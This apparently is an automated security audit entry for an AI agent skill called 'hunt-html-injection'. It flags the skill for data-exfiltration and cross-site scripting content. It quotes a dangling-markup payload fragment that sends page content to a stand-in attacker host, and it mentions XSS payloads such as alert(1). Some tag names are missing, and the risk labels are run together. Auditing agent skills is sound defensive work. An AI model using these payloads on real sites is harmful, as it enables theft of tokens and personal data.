hunt-html-injection
Pass
Audited by Gen Agent Trust Hub on Nov 12, 2026
Risk Level: SAFEDATA_EXFILTRATIONREMOTE_CODE_EXECUTION
Full Analysis
- [DATA_EXFILTRATION]: The skill documentation includes dangling-markup payloads (e.g., <img src='//attacker.tld/log?html=) intended to exfiltrate sensitive page content such as CSRF tokens or PII to a non-whitelisted external domain.
- [REMOTE_CODE_EXECUTION]: The instructions encourage the agent to attempt Cross-Site Scripting (XSS) by providing executable JavaScript payloads, including alert(1), , and tags.
Audit Metadata